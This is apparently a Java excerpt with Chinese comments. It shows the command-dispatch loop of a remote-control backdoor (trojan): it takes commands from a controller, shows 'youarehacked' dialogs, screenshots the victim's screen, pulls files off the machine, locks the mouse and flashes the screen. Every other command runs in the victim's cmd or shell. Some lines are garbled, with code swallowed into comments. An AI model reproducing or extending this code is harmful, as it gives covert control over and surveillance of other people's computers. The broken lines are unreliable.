本函数是核心函数,用来接收控制端自定义的命令,如果不符合自定义命令,则windows将会调用被控制端cmd,linux调用被控制端shell
//不断的循环接收控制端传来的指令,并根据指令进行判断,到达不同的控制流
void takeOrder() {while (true) {
try {
commendString = dis.readUTF().trim();
//如果前缀是exit 则退出while循环 关闭输入输出流
if (commendString.startsWith("exit")) {
end = true;
dis.close();
dos.close();
break;
}
} catch (IOException e) {
//接收指令发生异常时,则退出while循环 关闭输入输出流
System.out.println("leave");
end = true;
try {
dis.close();
dos.close();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
break;
}
//判断接收的指令 如果是以-d youarehacked 开头,服务端会弹出一个对话框,
if (commendString.startsWith("-d ")) {
try {
commendString = commendString.substring(3);
} catch (Exception ee) {
continue;
}
showDialog(commendString);//弹出一个对话框函数
} else if (commendString.startsWith("-p")) {//如果命令是以-p开头,调用被控制端屏幕被截屏
sendPic(); //截屏函数} else if (commendString.startsWith("down ")) {// 如果命令是以‘down ’开头,调用下载函数
String strFile = commendString.substring(5);
File file = new File(strFile);
// File file = new File("e:\\a.txt");
if (file.isFile())
downFile(strFile);//下载函数
} else if (commendString.startsWith("-m ")) {// 如果命令是以‘-m ’开头,则被控制端机器鼠标被锁住
try {
commendString = commendString.substring(3);
} catch (Exception ee) {
continue;
}
mouseLock(commendString); //鼠标锁住函数
} else if (commendString.startsWith("-flash")) { //如果命令是以‘-flash’开头,则被控制端机器闪屏
try {
commendString = commendString.substring(6);
} catch (Exception e) {
commendString = "";
}
new Flash(commendString); //闪屏函数
//当前面判断没有执行时,windows将会调用被控制端cmd,linux调用被控制端shell
} else {
shellExe(commendString);
}
}
}